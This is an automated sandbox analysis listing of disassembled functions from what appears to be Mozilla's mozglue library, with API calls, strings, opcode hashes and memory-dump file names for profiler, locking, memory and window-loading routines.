Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: ECB1D572E0420A8FDB14CF68C8816EDB7B6AF85314F148269C949EB795D730A989CB94

Function 6C5DBEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C5DC1CB
__aulldiv.LIBCMT ref: 6C5DC24C
__aulldiv.LIBCMT ref: 6C5DC348
__aullrem.LIBCMT ref: 6C5DC365
__aulldiv.LIBCMT ref: 6C5DC37D

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 6f5acbd1c479d881d300c37d14742692e964ccd1c93c16926627f6bdf8861578
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 12321532B147119FC718DE2CC890A5ABBE6AFC9310F0A866DE895CB395D734ED05CB91

Function 6C616CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C616D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C616E1E

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 4e17bb4726eac38f8f6cdff6bf3e09698db4e91d57506c444e15894a893f492d
Instruction ID: a567c54825c9d0dd4802e5889b2207c3e97fdcc5694001012915b9adaaaaa60a
Opcode Fuzzy Hash: 4e17bb4726eac38f8f6cdff6bf3e09698db4e91d57506c444e15894a893f492d
Instruction Fuzzy Hash: 58A17F746183818FC715CF29C4907AEBBE2FF89308F54491DE48A87B51DB70E849CB9A

Function 6C5F4640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C5F4777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5F5585, 6C5F55A8, 6C5F55C3, 6C5F5624

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: a5a50101316972e9e182af14c6607f88afb24aee17291698ae0f2ebdc8f0bc6d
Instruction ID: a2d2aa7742d5b731d71ae67a5874b760f92b925f03d4e20c4982d9523ba86ab2
Opcode Fuzzy Hash: a5a50101316972e9e182af14c6607f88afb24aee17291698ae0f2ebdc8f0bc6d
Instruction Fuzzy Hash: F2B25C71A056018FD709CF29CA90615BBE2BFC5324B29C76DE47A8B7A5D771E842CF80

Function 6C6385F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C638C7C
__aulldiv.LIBCMT ref: 6C638DD7

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: ebf74af3fb99a8c5bf9fb8866be4cc2633d914b14831cfd284b0dc9c04efdbc4
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 8A326F31F001298BDF18CE9DC8A17EEB7B2EB89304F15A12BD40AFB7A0D6345D458B95

Function 6C6476E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~q]l, xrefs: 6C6479FB, 6C64793C, 6C6479C0, 6C647796, 6C647E0B, 6C647B0B

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID: ~q]l
API String ID: 0-3028681918
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: 2d0d3dd943d09ed4a1d46dbe8c527f5a2d9fb02aa9cd616dd452ed3bbb2e7526
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: B032F771E006198FCB14CF98C890AADFBB2FF89308F64C569C949A7745D731A986CF94

Function 6C646E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~q]l, xrefs: 6C6479FB, 6C647C03, 6C64793C, 6C6479C0, 6C647E0B, 6C647B0B, 6C647C72

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID: ~q]l
API String ID: 0-3028681918
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 4913812fa37c5a956e07bc23339cc396eff2b2b772d2db93f5219421394c71e7
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: D122D771E006198FCB14CF98C880AADF7F2FF89308F6585A9C949A7745D731A986CF94

Function 6C615C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C5E4A63,?,?), ref: 6C615F06

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: af576c2cf9e9417f77c2ca8f6032fcaac8f8c068b92d7645047f1a794fe0d5c4
Instruction ID: 741a313e849ee4dc7c16685333abf84a58ab04491cfe60fb1b9412eec6b075f5
Opcode Fuzzy Hash: af576c2cf9e9417f77c2ca8f6032fcaac8f8c068b92d7645047f1a794fe0d5c4
Instruction Fuzzy Hash: 23C19D75E052498FCB04CF99C1906EEFBF2BF8A319F288159D8556BB44D732A806CF94

Function 6C600512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 19de1656de91102e459d0925be66ab7856cbe58f7b598c0cf805078c4df466ef
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 4C221671E046198FCB18CF98C990AADF7B2FF89308F548299C54AB7745D731A986CF84

Function 6C64AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4131b3a1c0706f4b443e9dd052da4bda3e88b09b48611a714eb6196e45db41be
Instruction ID: 3d870cb035298b8a5d441383b670dc1126e9188ebc4a8e7302ebbf7b33658fce
Opcode Fuzzy Hash: 4131b3a1c0706f4b443e9dd052da4bda3e88b09b48611a714eb6196e45db41be
Instruction Fuzzy Hash: 8AF14772608745AFD700CE28C8807AEB7E2AFC6319F14CA3DE4D4877C2E37498858796

Function 6C5DC670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 21f6ace8cee4ae7ffb7713cda4769ab346ce877174a7e28a6080b5139fef2ac9
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: EBA19F71F0061A8FDB08CE6DC8917AEB7F2AFC9354F198169D915E7781DB34AC068B90

Function 6C6355F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6C60E1A5), ref: 6C635606
LoadLibraryW.KERNEL32(gdi32,?,6C60E1A5), ref: 6C63560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C635633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C63563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C63566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C63567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C635696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C6356B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C6356CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C6356E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C6356FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C635716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C63572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C635748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C635761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C63577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C635793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C6357A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C6357BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C6357D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C6357EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C6357FF

Strings

LoadIconW, xrefs: 6C63575B
CreateWindowExW, xrefs: 6C6356C5
SetWindowPos, xrefs: 6C6356F7
CreateSolidBrush, xrefs: 6C6357E4
EnableNonClientDpiScaling, xrefs: 6C635666
ReleaseDC, xrefs: 6C635742
ShowWindow, xrefs: 6C6356DE
StretchDIBits, xrefs: 6C6357CC
SetWindowLongPtrW, xrefs: 6C6357B7
RegisterClassW, xrefs: 6C6356AC
AreDpiAwarenessContextsEqual, xrefs: 6C635637
GetSystemMetricsForDpi, xrefs: 6C635677
gdi32, xrefs: 6C63560A
GetWindowDC, xrefs: 6C635710
DeleteObject, xrefs: 6C6357F9
FillRect, xrefs: 6C635729
MonitorFromWindow, xrefs: 6C63578D
GetDpiForWindow, xrefs: 6C635690
GetMonitorInfoW, xrefs: 6C6357A2
GetThreadDpiAwarenessContext, xrefs: 6C63562D
LoadCursorW, xrefs: 6C635774
user32, xrefs: 6C635601

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 914cfe4b4572d42e95c4d728ef762d2a5573dac5eb8b95a4ffe579fb717a2db4
Instruction ID: 5a114312d1eab6c3c3a2e08aa082ea16a4d92e93be041af1a7d9ab09ee703649
Opcode Fuzzy Hash: 914cfe4b4572d42e95c4d728ef762d2a5573dac5eb8b95a4ffe579fb717a2db4
Instruction Fuzzy Hash: 805175707113239BDB01DF369D849263AF8AB46385FB4A425AD66E3A01EF74C901CF6D

Function 6C61CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C5E582D), ref: 6C61CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C5E582D), ref: 6C61CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C64FE98,?,?,?,?,?,6C5E582D), ref: 6C61CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C5E582D), ref: 6C61CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C5E582D), ref: 6C61CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C5E582D), ref: 6C61CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5E582D), ref: 6C61CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C61CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C61CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C61CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C61CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C61CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C61CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C61CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C61CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C61CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C61CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C61CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C61CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C61CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C61CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C61CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C61CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C61CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C61CE8A

Strings

seqstyle, xrefs: 6C61CCE6
markersallthreads, xrefs: 6C61CE42
screenshots, xrefs: 6C61CCD4
unregisteredthreads, xrefs: 6C61CE58
audiocallbacktracing, xrefs: 6C61CDD4
stackwalk, xrefs: 6C61CCF8
samplingallthreads, xrefs: 6C61CE2C
nostacksampling, xrefs: 6C61CD7C
notimerresolutionchange, xrefs: 6C61CE00
jsallocations, xrefs: 6C61CD0E
nativeallocations, xrefs: 6C61CDA8
java, xrefs: 6C61CC37
noiostacks, xrefs: 6C61CCBE
power, xrefs: 6C61CE84
mainthreadio, xrefs: 6C61CC7C
ipcmessages, xrefs: 6C61CDBE
fileio, xrefs: 6C61CC92
leaf, xrefs: 6C61CC66
Unrecognized feature "%s"., xrefs: 6C61CEA0
preferencereads, xrefs: 6C61CD92
cpuallthreads, xrefs: 6C61CE16
processcpu, xrefs: 6C61CE6E
default, xrefs: 6C61CC21
fileioall, xrefs: 6C61CCA8

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 386ac7a8fd4bb2e3223c7063e8c4484f4e58a13e202dab475ccaa6303ac5c390
Instruction ID: d3b00b400cd3820691a1b9e34c779d37908027b9086f277c5eee8db38f294f62
Opcode Fuzzy Hash: 386ac7a8fd4bb2e3223c7063e8c4484f4e58a13e202dab475ccaa6303ac5c390
Instruction Fuzzy Hash: E85144D1E5D62572FB01312D6D21BEE2485EF5324BF14C436EE0BA1F80FA05961AC9AF

Function 6C5E4470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5E4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C5E44B2,6C65E21C,6C65F7F8), ref: 6C5E473E
Part of subcall function 6C5E4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C5E474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C5E44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C5E44D2
InitOnceExecuteOnce.KERNEL32(6C65F80C,6C5DF240,?,?), ref: 6C5E451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C5E455C
LoadLibraryW.KERNEL32(?), ref: 6C5E4592
InitializeCriticalSection.KERNEL32(6C65F770), ref: 6C5E45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C5E45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C5E45BB
InitOnceExecuteOnce.KERNEL32(6C65F818,6C5DF240,?,?), ref: 6C5E4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C5E4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C5E4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C5E466D
VerSetConditionMask.NTDLL ref: 6C5E469F
VerSetConditionMask.NTDLL ref: 6C5E46AB
VerSetConditionMask.NTDLL ref: 6C5E46B2
VerSetConditionMask.NTDLL ref: 6C5E46B9
VerSetConditionMask.NTDLL ref: 6C5E46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C5E46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C5E46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C5E46FD

Strings

WRusr.dll, xrefs: 6C5E44B5
kernel32.dll, xrefs: 6C5E44CD
l, xrefs: 6C5E4578
Gel, xrefs: 6C5E44FC
NativeNtBlockSet_Write, xrefs: 6C5E46F7
user32.dll, xrefs: 6C5E4557, 6C5E463F

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: Gel$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-1815337822
Opcode ID: 496f2ac104e086c3632db3d72713949b9b9f942d51d471d36bbc694661b02aa3
Instruction ID: 26d91c04bde3dd1768c0c5bb053ff436fe25d81af04362e04d96a29858b94683
Opcode Fuzzy Hash: 496f2ac104e086c3632db3d72713949b9b9f942d51d471d36bbc694661b02aa3
Instruction Fuzzy Hash: DB6148B0600344AFEB00DFA2DC85BA57BB8FF8A308FB4C559E5049B641D3B18955CF9A

Function 6C61F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5E4A68), ref: 6C61945E
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C619470
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C619482
Part of subcall function 6C619420: __Init_thread_footer.LIBCMT ref: 6C61949F

GetCurrentThreadId.KERNEL32 ref: 6C61F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C61F8F9

Part of subcall function 6C5E6390: GetCurrentThreadId.KERNEL32 ref: 6C5E63D0
Part of subcall function 6C5E6390: AcquireSRWLockExclusive.KERNEL32 ref: 6C5E63DF
Part of subcall function 6C5E6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C5E640E

ReleaseSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61F93A
GetCurrentThreadId.KERNEL32 ref: 6C61F98A
GetCurrentThreadId.KERNEL32 ref: 6C61F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C61F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C61F716

Part of subcall function 6C6194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6194EE
Part of subcall function 6C6194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C619508

Part of subcall function 6C5DB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C5DB5E0

GetCurrentThreadId.KERNEL32 ref: 6C61F739
AcquireSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61F746
GetCurrentThreadId.KERNEL32 ref: 6C61F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C65385B,00000002,?,?,?,?,?), ref: 6C61F829
free.MOZGLUE(?,?,00000000,?), ref: 6C61F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C61F866
free.MOZGLUE(?), ref: 6C61FA0C

